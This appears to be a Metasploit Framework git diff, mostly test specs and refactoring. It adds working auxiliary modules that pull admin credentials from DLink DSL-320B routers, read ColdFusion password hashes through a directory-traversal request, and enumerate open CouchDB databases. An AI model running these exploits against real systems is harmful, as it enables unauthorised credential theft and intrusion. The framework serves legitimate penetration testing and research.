'platform' => 'Modules affecting this platform',
'ref' => 'Modules with a matching ref',
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
}.each_pair do |keyword, description|
print_line " #{keyword.ljust 10}: #{description}"
end
@@ -1456,9 +1455,13 @@ class Core
end
def search_modules_sql(match)
# Prints table of modules matching the search_string.
#
# @param (see Msf::DBManager#search_modules)
# @return [void]
def search_modules_sql(search_string)
tbl = generate_module_table("Matching Modules")
framework.db.search_modules(match).each do |o|
framework.db.search_modules(search_string).each do |o|
tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ]
end
print_line(tbl.to_s)
@@ -0,0 +1,92 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'DLink DSL 320B Password Extractor',
'Description' => %q{
This module exploits an authentication bypass vulnerability in DLink DSL 320B
<=v1.23. This vulnerability allows to extract the credentials for the remote
management interface.
},
'References' =>
[
[ 'EDB', '25252' ],
[ 'OSVDB', '93013' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ],
[ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ],
],
'Author' => [
'Michael Messner <devnull@s3cur1ty.de>',
],
'License' => MSF_LICENSE
)
end
def run
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
#download configuration
begin
res = send_request_cgi({
'uri' => '/config.bin',
'method' => 'GET'
})
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/)
return if (res.code == 404)
if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/
if res.body !~ /sysPassword value/
print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
else
print_good("#{rhost}:#{rport} - Credentials successfully extracted")
end
#store all details as loot -> there is some usefull stuff in the response
loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body)
print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}")
user = ""
pass = ""
res.body.each_line do |line|
if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/
user = $1
next
end
if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/
pass = $1
pass = Rex::Text.decode_base64(pass)
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:active => true
)
end
end
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
end
end
+2 -2
View File
@@ -19,8 +19,8 @@ class Metasploit4 < Msf::Auxiliary
The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the
length of an encrypted message when used with a TLS version 1.1 or above. This
leads to an integer underflow which can cause a DoS. The vulnerable function
aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL.
This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default
aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.
This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default
OpenSSL 1.0.1c package.
},
'Author' =>
@@ -0,0 +1,106 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "ColdFusion 'password.properties' Hash Extraction",
'Description' => %q{
This module uses a directory traversal vulnerability to extract information
such as password, rdspassword, and "encrypted" properties. This module has been
tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the
target ColdFusion version.
},
'References' =>
[
[ 'OSVDB', '93114' ],
[ 'EDB', '25305' ]
],
'Author' =>
[
'HTP',
'sinn3r'
],
'License' => MSF_LICENSE,
'Actions' =>
[
['ColdFusion10'],
['ColdFusion9']
],
'DefaultAction' => 'ColdFusion10',
'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
))
register_options(
[
Opt::RPORT(8500),
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
], self.class)
end
def peer
"#{datastore['RHOST']}:#{datastore['RPORT']}"
end
def run
filename = ""
case action.name
when 'ColdFusion10'
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
when 'ColdFusion9'
filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
'encode_params' => false,
'encode' => false,
'vars_get' => {
'attributes.id' => 'it',
'attributes.file' => '../../administrator/mail/download.cfm',
'filename' => filename,
'attributes.locale' => 'it',
'attributes.var' => 'it',
'attributes.jscript' => 'false',
'attributes.type' => 'text/html',
'attributes.charset' => 'UTF-8',
'thisTag.executionmode' => 'end',
'thisTag.generatedContent' => 'htp'
}
})
if res.nil?
print_error("#{peer} - Unable to receive a response")
return
end
rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''
password = res.body.scan(/^password=(.+)/).flatten[0] || ''
encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''
if rdspass.empty? and password.empty?
# No pass collected, no point to store anything
print_error("#{peer} - No passwords found")
return
end
print_good("#{peer} - rdspassword = #{rdspass}")
print_good("#{peer} - password = #{password}")
print_good("#{peer} - encrypted = #{encrypted}")
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
print_good("#{peer} - password.properties stored in '#{p}'")
end
end
@@ -0,0 +1,85 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'CouchDB Enum Utility',
'Description' => %q{
Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
},
'Author' => [ 'espreto <robertoespreto[at]gmail.com>' ],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(5984),
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
OptString.new('USERNAME', [false, 'The username to login as']),
OptString.new('PASSWORD', [false, 'The password to login with'])
], self.class)
end
def run
username = datastore['USERNAME']
password = datastore['PASSWORD']
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => uri,
'method' => datastore['HTTP_METHOD'],
'authorization' => basic_auth(username, password),
'headers' => {
'Cookie' => 'Whatever?'
}
})
if res.nil?
print_error("No response for #{target_host}")
return nil
end
begin
temp = JSON.parse(res.body)
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
results = JSON.pretty_generate(temp)
if (res.code == 200)
print_good("#{target_host}:#{rport} -> #{res.code}")
print_good("Response Headers:\n\n #{res.headers}")
print_good("Response Body:\n\n #{results}\n")
elsif (res.code == 403) # Forbidden
print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
print_error("Response from server:\n\n #{results}\n")
elsif (res.code == 404) # Not Found
print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
print_error("Response from server:\n\n #{results}\n")
else
print_status("Received #{res.code}")
print_line("#{results}")
end
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
path = store_loot("couchdb.enum.file", "text/plain", rhost, res.body, "CouchDB Enum Results")
print_status("Results saved to #{path}")
else
print_error("Failed to save the result")
end
end
end
@@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
successfully on Windows 2008 64-bit and Linux 64-bit platforms.
},
'References' =>
[
@@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
successfully on Windows 2008 64-bit and Linux 64-bit platforms.
},
'References' =>
[
@@ -8,7 +8,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
+9
View File
@@ -0,0 +1,9 @@
FactoryGirl.modify do
factory :mdm_module_detail do
ignore do
root {
Metasploit::Framework.root
}
end
end
end
+34
View File
@@ -0,0 +1,34 @@
FactoryGirl.define do
factory :mdm_route, :class => Mdm::Route do
netmask { generate :mdm_route_netmask }
subnet { generate :mdm_route_subnet }
#
# Associations
#
association :session, :factory => :mdm_session
end
sequence :mdm_route_netmask do |n|
bits = 32
bitmask = n % bits
[ (~((2 ** (bits - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
bits = 32
shift = n % bits
mask_range = 2 ** bits
full_mask = mask_range - 1
integer_netmask = (full_mask << shift)
formatted_netmask = [integer_netmask].pack('N').unpack('CCCC').join('.')
formatted_netmask
end
sequence :mdm_route_subnet do |n|
class_c_network = n % 255
"192.168.#{class_c_network}.0"
end
end
-22
View File
@@ -1,22 +0,0 @@
#
# Specs
#
require 'spec_helper'
#
# Project
#
require 'metasploit/framework/database'
require 'msf/core'
describe Msf::DBManager do
include_context 'Msf::Simple::Framework'
subject(:db_manager) do
framework.db
end
it_should_behave_like 'Msf::DBManager::ImportMsfXml'
end
+7 -155
View File
@@ -16,6 +16,8 @@ require 'tmpdir'
require 'msf/core'
describe Msf::ModuleManager do
include_context 'Msf::Simple::Framework'
let(:archive_basename) do
[basename_prefix, archive_extension]
end
@@ -28,161 +30,11 @@ describe Msf::ModuleManager do
'rspec'
end
let(:framework) do
Msf::Framework.new
subject(:module_manager) do
framework.modules
end
subject do
described_class.new(framework)
end
context '#add_module_path' do
it 'should strip trailing File::SEPARATOR from the path' do
Dir.mktmpdir do |path|
path_with_trailing_separator = path + File::SEPARATOR
subject.add_module_path(path_with_trailing_separator)
subject.send(:module_paths).should_not include(path_with_trailing_separator)
subject.send(:module_paths).should include(path)
end
end
context 'with Fastlib archive' do
it 'should raise an ArgumentError unless the File exists' do
file = Tempfile.new(archive_basename)
# unlink will clear path, so copy it to a variable
path = file.path
file.unlink
File.exist?(path).should be_false
expect {
subject.add_module_path(path)
}.to raise_error(ArgumentError, "The path supplied does not exist")
end
it 'should add the path to #module_paths if the File exists' do
Tempfile.open(archive_basename) do |temporary_file|
path = temporary_file.path
File.exist?(path).should be_true
subject.add_module_path(path)
subject.send(:module_paths).should include(path)
end
end
end
context 'with directory' do
it 'should add path to #module_paths' do
Dir.mktmpdir do |path|
subject.add_module_path(path)
subject.send(:module_paths).should include(path)
end
end
context 'containing Fastlib archives' do
it 'should add each Fastlib archive to #module_paths' do
Dir.mktmpdir do |directory|
Tempfile.open(archive_basename, directory) do |file|
subject.add_module_path(directory)
subject.send(:module_paths).should include(directory)
subject.send(:module_paths).should include(file.path)
end
end
end
end
end
context 'with other file' do
it 'should raise ArgumentError' do
Tempfile.open(basename_prefix) do |file|
expect {
subject.add_module_path(file.path)
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
end
end
end
end
context '#file_changed?' do
let(:module_basename) do
[basename_prefix, '.rb']
end
it 'should return true if module info is not cached' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
subject.send(:module_info_by_path)[module_path].should be_nil
subject.file_changed?(module_path).should be_true
end
end
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path)
subject.send(:module_info_by_path)[module_path] = {
# :modification_time must match so that it is the :type that is causing the `true` and not the
# :modification_time causing the `true`.
:modification_time => modification_time,
:type => Msf::MODULE_PAYLOAD
}
subject.file_changed?(module_path).should be_true
end
end
context 'with cache module info and not a payload module' do
it 'should return true if the file does not exist on the file system' do
tempfile = Tempfile.new(module_basename)
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => modification_time
}
tempfile.unlink
File.exist?(module_path).should be_false
subject.file_changed?(module_path).should be_true
end
it 'should return true if modification time does not match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = (modification_time * rand).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should_not == modification_time
subject.file_changed?(module_path).should be_true
end
end
it 'should return false if modification time does match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = modification_time
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should == modification_time
subject.file_changed?(module_path).should be_false
end
end
end
end
it_should_behave_like 'Msf::ModuleManager::Cache'
it_should_behave_like 'Msf::ModuleManager::Loading'
it_should_behave_like 'Msf::ModuleManager::ModulePaths'
end
@@ -1168,11 +1168,11 @@ describe Msf::Modules::Loader::Base do
it 'should do nothing if parent_module is nil' do
parent_module = nil
allow_message_expectations_on_nil
parent_module.should_not_receive(:remove_const)
parent_module.should_not_receive(:const_set)
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
# can check that NoMethodError is not raised because *const* methods are
# not defined on `nil`.
expect {
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
}.to_not raise_error(NoMethodError)
end
context 'with namespace_module nil' do
+108
View File
@@ -0,0 +1,108 @@
require 'spec_helper'
require 'msf/core/db_export'
describe Msf::DBManager::Export do
include_context 'Msf::DBManager'
subject(:export) do
described_class.new(workspace)
end
let(:active) do
true
end
let(:workspace) do
FactoryGirl.create(
:mdm_workspace
)
end
context '#extract_module_detail_info' do
let(:report_file) do
StringIO.new
end
subject(:extract_module_detail_info) do
export.extract_module_detail_info(report_file)
end
context 'with Mdm::Module::Details' do
let(:document) do
Nokogiri::XML(report_file.string)
end
let(:module_detail_count) do
2
end
let(:root) do
document.root
end
let!(:module_details) do
FactoryGirl.create_list(
:mdm_module_detail,
module_detail_count
)
end
before(:each) do
report_file.write("<root>")
extract_module_detail_info
report_file.write("</root>")
end
it 'should have module_detail tag for each Mdm::Module::Detail' do
nodes = root.xpath('module_detail')
nodes.length.should == module_detail_count
end
context 'module_detail' do
let(:module_detail) do
module_details.first
end
subject(:module_detail_node) do
root.at_xpath('module_detail')
end
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description'
context '/disclosure-date' do
it 'should have Mdm::Module::Detail#disclosure_date present' do
module_detail.disclosure_date.should be_present
end
it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do
node = module_detail_node.at_xpath('disclosure-date')
Date.parse(node.content).should == module_detail.disclosure_date
end
end
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname'
# @todo https://www.pivotaltracker.com/story/show/48451001
end
end
context 'without Mdm::Module::Details' do
it 'should not write anything to report_file' do
extract_module_detail_info
report_file.string.should be_empty
end
end
end
end
+1789
View File
@@ -0,0 +1,1789 @@
#
# Specs
#
require 'spec_helper'
#
# Project
#
require 'metasploit/framework/database'
require 'msf/core'
describe Msf::DBManager do
include_context 'Msf::DBManager'
subject do
db_manager
end
it_should_behave_like 'Msf::DBManager::ImportMsfXml'
context '#purge_all_module_details' do
def purge_all_module_details
db_manager.purge_all_module_details
end
let(:migrated) do
false
end
let(:module_detail_count) do
2
end
let!(:module_details) do
FactoryGirl.create_list(
:mdm_module_detail,
module_detail_count
)
end
before(:each) do
db_manager.stub(:migrated => migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
let(:modules_caching) do
false
end
before(:each) do
db_manager.stub(:modules_caching => modules_caching)
end
context 'with modules_caching' do
let(:modules_caching) do
true
end
it 'should not destroy Mdm::Module::Details' do
expect {
purge_all_module_details
}.to_not change(Mdm::Module::Detail, :count)
end
end
context 'without modules_caching' do
it 'should create a connection' do
# in purge_all_module_details
# in after(:each)
ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original
purge_all_module_details
end
it 'should destroy all Mdm::Module::Details' do
expect {
purge_all_module_details
}.to change(Mdm::Module::Detail, :count).by(-module_detail_count)
end
end
end
context 'without migrated' do
it 'should not destroy Mdm::Module::Details' do
expect {
purge_all_module_details
}.to_not change(Mdm::Module::Detail, :count)
end
end
end
context '#report_session' do
let(:options) do
{}
end
subject(:report_session) do
db_manager.report_session(options)
end
context 'with active' do
let(:active) do
true
end
it 'should create connection' do
# 1st time from with_established_connection
# 2nd time from report_session
ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times
report_session
end
context 'with :session' do
before(:each) do
options[:session] = session
end
context 'with Msf::Session' do
let(:exploit_datastore) do
Msf::ModuleDataStore.new(module_instance).tap do |datastore|
datastore['ParentModule'] = parent_module_fullname
remote_port = rand(2 ** 16 - 1)
datastore['RPORT'] = remote_port
end
end
let(:host) do
FactoryGirl.create(:mdm_host, :workspace => session_workspace)
end
let(:module_instance) do
name = 'multi/handler'
mock(
'Msf::Module',
:fullname => "exploit/#{name}",
:framework => framework,
:name => name
)
end
let(:options_workspace) do
FactoryGirl.create(:mdm_workspace)
end
let(:parent_module_fullname) do
"exploit/#{parent_module_name}"
end
let(:parent_module_name) do
'windows/smb/ms08_067_netapi'
end
let(:parent_path) do
Metasploit::Framework.root.join('modules').to_path
end
let(:session) do
session_class.new.tap do |session|
session.exploit_datastore = exploit_datastore
session.info = 'Info'
session.platform = 'Platform'
session.session_host = host.address
session.sid = rand(100)
session.type = 'Session Type'
session.via_exploit = 'exploit/multi/handler'
session.via_payload = 'payload/single/windows/metsvc_bind_tcp'
session.workspace = session_workspace.name
end
end
let(:session_class) do
Class.new do
include Msf::Session
attr_accessor :datastore
attr_accessor :platform
attr_accessor :type
attr_accessor :via_exploit
attr_accessor :via_payload
end
end
let(:session_workspace) do
FactoryGirl.create(:mdm_workspace)
end
before(:each) do
reference_name = 'multi/handler'
path = File.join(parent_path, 'exploits', reference_name)
# fake cache data for exploit/multi/handler so it can be loaded
framework.modules.send(
:module_info_by_path=,
{
path =>
{
:parent_path => parent_path,
:reference_name => reference_name,
:type => 'exploit',
}
}
)
FactoryGirl.create(
:mdm_module_detail,
:fullname => parent_module_fullname,
:name => parent_module_name
)
end
context 'with :workspace' do
before(:each) do
options[:workspace] = options_workspace
end
it 'should not find workspace from session' do
db_manager.should_not_receive(:find_workspace)
report_session
end
end
context 'without :workspace' do
it 'should find workspace from session' do
db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original
report_session
end
it 'should pass session.workspace to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_including(
:workspace => session_workspace
)
).and_return(host)
report_session
end
end
context 'with workspace from either :workspace or session' do
it 'should pass normalized host from session as :host to #find_or_create_host' do
normalized_host = mock('Normalized Host')
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
db_manager.stub(:report_vuln)
db_manager.should_receive(:find_or_create_host).with(
hash_including(
:host => normalized_host
)
).and_return(host)
report_session
end
context 'with session responds to arch' do
let(:arch) do
FactoryGirl.generate :mdm_host_arch
end
before(:each) do
session.stub(:arch => arch)
end
it 'should pass :arch to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_including(
:arch => arch
)
).and_call_original
report_session
end
end
context 'without session responds to arch' do
it 'should not pass :arch to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_excluding(
:arch
)
).and_call_original
report_session
end
end
it 'should create an Mdm::Session' do
expect {
report_session
}.to change(Mdm::Session, :count).by(1)
end
it { should be_an Mdm::Session }
it 'should set session.db_record to created Mdm::Session' do
mdm_session = report_session
session.db_record.should == mdm_session
end
context 'with session.via_exploit' do
it 'should create session.via_exploit module' do
framework.modules.should_receive(:create).with(session.via_exploit).and_call_original
report_session
end
it 'should create Mdm::Vuln' do
expect {
report_session
}.to change(Mdm::Vuln, :count).by(1)
end
context 'created Mdm::Vuln' do
let(:mdm_session) do
Mdm::Session.last
end
let(:rport) do
nil
end
before(:each) do
Timecop.freeze
session.exploit_datastore['RPORT'] = rport
report_session
end
after(:each) do
Timecop.return
end
subject(:vuln) do
Mdm::Vuln.last
end
its(:host) { should == Mdm::Host.last }
its(:refs) { should == [] }
its(:exploited_at) { should be_within(1.second).of(Time.now.utc) }
context "with session.via_exploit 'exploit/multi/handler'" do
context "with session.exploit_datastore['ParentModule']" do
its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" }
its(:name) { should == parent_module_name }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
before(:each) do
path = File.join(
parent_path,
'exploits',
"#{reference_name}.rb"
)
type = 'exploit'
# fake cache data for ParentModule so it can be loaded
framework.modules.send(
:module_info_by_path=,
{
path =>
{
:parent_path => parent_path,
:reference_name => reference_name,
:type => type,
}
}
)
session.via_exploit = "#{type}/#{reference_name}"
end
its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"}
its(:name) { should == reference_name }
end
context 'with RPORT' do
let(:rport) do
# use service.port instead of having service use rport so
# that service is forced to exist before call to
# report_service, which happens right after using rport in
# outer context's before(:each)
service.port
end
let(:service) do
FactoryGirl.create(
:mdm_service,
:host => host
)
end
its(:service) { should == service }
end
context 'without RPORT' do
its(:service) { should be_nil }
end
end
context 'created Mdm::ExploitAttempt' do
let(:rport) do
nil
end
before(:each) do
Timecop.freeze
session.exploit_datastore['RPORT'] = rport
report_session
end
after(:each) do
Timecop.return
end
subject(:exploit_attempt) do
Mdm::ExploitAttempt.last
end
its(:attempted_at) { should be_within(1.second).of(Time.now.utc) }
# @todo https://www.pivotaltracker.com/story/show/48362615
its(:session_id) { should == Mdm::Session.last.id }
its(:exploited) { should == true }
# @todo https://www.pivotaltracker.com/story/show/48362615
its(:vuln_id) { should == Mdm::Vuln.last.id }
context "with session.via_exploit 'exploit/multi/handler'" do
context "with session.datastore['ParentModule']" do
its(:module) { should == parent_module_fullname }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
before(:each) do
session.via_exploit = parent_module_fullname
end
its(:module) { should == session.via_exploit }
end
end
end
context 'returned Mdm::Session' do
before(:each) do
Timecop.freeze
end
after(:each) do
Timecop.return
end
subject(:mdm_session) do
report_session
end
#
# Ensure session has attributes present so its on mdm_session are
# not just comparing nils.
#
it 'should have session.info present' do
session.info.should be_present
end
it 'should have session.sid present' do
session.sid.should be_present
end
it 'should have session.platform present' do
session.platform.should be_present
end
it 'should have session.type present' do
session.type.should be_present
end
it 'should have session.via_exploit present' do
session.via_exploit.should be_present
end
it 'should have session.via_payload present' do
session.via_exploit.should be_present
end
its(:datastore) { should == session.exploit_datastore.to_h }
its(:desc) { should == session.info }
its(:host_id) { should == Mdm::Host.last.id }
its(:last_seen) { should be_within(1.second).of(Time.now.utc) }
its(:local_id) { should == session.sid }
its(:opened_at) { should be_within(1.second).of(Time.now.utc) }
its(:platform) { should == session.platform }
its(:routes) { should == [] }
its(:stype) { should == session.type }
its(:via_payload) { should == session.via_payload }
context "with session.via_exploit 'exploit/multi/handler'" do
it "should have session.via_exploit of 'exploit/multi/handler'" do
session.via_exploit.should == 'exploit/multi/handler'
end
context "with session.exploit_datastore['ParentModule']" do
it "should have session.exploit_datastore['ParentModule']" do
session.exploit_datastore['ParentModule'].should_not be_nil
end
its(:via_exploit) { should == parent_module_fullname }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
before(:each) do
reference_name = 'windows/smb/ms08_067_netapi'
path = File.join(
parent_path,
'exploits',
"#{reference_name}.rb"
)
type = 'exploit'
# fake cache data for ParentModule so it can be loaded
framework.modules.send(
:module_info_by_path=,
{
path =>
{
:parent_path => parent_path,
:reference_name => reference_name,
:type => type,
}
}
)
session.via_exploit = "#{type}/#{reference_name}"
end
it "should not have session.via_exploit of 'exploit/multi/handler'" do
session.via_exploit.should_not == 'exploit/multi/handler'
end
its(:via_exploit) { should == session.via_exploit }
end
end
end
end
context 'without Msf::Session' do
let(:session) do
mock('Not a Msf::Session')
end
it 'should raise ArgumentError' do
expect {
report_session
}.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session")
end
end
end
context 'without :session' do
context 'with :host' do
before(:each) do
options[:host] = host
end
context 'with Mdm::Host' do
let(:host) do
FactoryGirl.create(:mdm_host)
end
context 'created Mdm::Session' do
let(:closed_at) do
nil
end
let(:close_reason) do
'Closed because...'
end
let(:description) do
'Session Description'
end
let(:exploit_full_name) do
'exploit/windows/smb/ms08_067_netapi'
end
let(:last_seen) do
nil
end
let(:opened_at) do
Time.now.utc - 5.minutes
end
let(:payload_full_name) do
'payload/singles/windows/metsvc_reverse_tcp'
end
let(:platform) do
'Host Platform'
end
let(:routes) do
nil
end
let(:session_type) do
'Session Type'
end
before(:each) do
options[:closed_at] = closed_at
options[:close_reason] = close_reason
options[:desc] = description
options[:last_seen] = last_seen
options[:opened_at] = opened_at
options[:platform] = platform
options[:routes] = routes
options[:stype] = session_type
options[:via_payload] = payload_full_name
options[:via_exploit] = exploit_full_name
end
subject(:mdm_session) do
report_session
end
its(:close_reason) { should == close_reason }
its(:desc) { should == description }
its(:host) { should == host }
its(:platform) { should == platform }
its(:stype) { should == session_type }
its(:via_exploit) { should == exploit_full_name }
its(:via_payload) { should == payload_full_name }
context 'with :last_seen' do
let(:last_seen) do
opened_at
end
its(:last_seen) { should == last_seen }
end
context 'with :closed_at' do
let(:closed_at) do
opened_at + 1.minute
end
its(:closed_at) { should == closed_at }
end
context 'without :closed_at' do
its(:closed_at) { should == nil }
end
context 'without :last_seen' do
context 'with :closed_at' do
let(:closed_at) do
opened_at + 1.minute
end
its(:last_seen) { should == closed_at }
end
context 'without :closed_at' do
its(:last_seen) { should be_nil }
end
end
context 'with :routes' do
let(:routes) do
FactoryGirl.build_list(
:mdm_route,
1,
:session => nil
)
end
its(:routes) { should == routes }
end
context 'without :routes' do
its(:routes) { should == [] }
end
end
end
context 'without Mdm::Host' do
let(:host) do
'192.168.0.1'
end
it 'should raise ArgumentError' do
expect {
report_session
}.to raise_error(ArgumentError, "Invalid :host, expected Host object")
end
end
end
context 'without :host' do
it 'should raise ArgumentError' do
expect {
report_session
}.to raise_error(ArgumentError)
end
end
end
end
context 'without active' do
let(:active) do
false
end
it { should be_nil }
it 'should not create a connection' do
# 1st time for with_established_connection
ActiveRecord::Base.connection_pool.should_receive(:with_connection).once
report_session
end
end
end
context '#remove_module_details' do
def remove_module_details
db_manager.remove_module_details(mtype, refname)
end
let(:migrated) do
false
end
let(:mtype) do
FactoryGirl.generate :mdm_module_detail_mtype
end
let(:refname) do
FactoryGirl.generate :mdm_module_detail_refname
end
let!(:module_detail) do
FactoryGirl.create(
:mdm_module_detail
)
end
before(:each) do
db_manager.stub(:migrated => migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
let!(:module_detail) do
FactoryGirl.create(:mdm_module_detail)
end
context 'with matching Mdm::Module::Detail' do
let(:mtype) do
module_detail.mtype
end
let(:refname) do
module_detail.refname
end
it 'should destroy Mdm::Module::Detail' do
expect {
remove_module_details
}.to change(Mdm::Module::Detail, :count).by(-1)
end
end
context 'without matching Mdm::Module::Detail' do
it 'should not destroy Mdm::Module::Detail' do
expect {
remove_module_details
}.to_not change(Mdm::Module::Detail, :count)
end
end
end
context 'without migrated' do
it 'should not destroy Mdm::Module::Detail' do
expect {
remove_module_details
}.to_not change(Mdm::Module::Detail, :count)
end
end
end
context '#search_modules' do
subject(:search_modules) do
db_manager.search_modules(search_string)
end
let(:module_details) do
search_modules.to_a
end
context 'with app keyword' do
let(:search_string) do
"app:#{app}"
end
before(:each) do
Mdm::Module::Detail::STANCES.each do |stance|
FactoryGirl.create(:mdm_module_detail, :stance => stance)
end
end
context 'with client' do
let(:app) do
'client'
end
it "should match Mdm::Module::Detail#stance 'passive'" do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.stance == 'passive'
}.should be_true
end
end
context 'with server' do
let(:app) do
'server'
end
it "should match Mdm::Module::Detail#stance 'aggressive'" do
module_details.count.should > 0
module_details.all? { |module_detail|
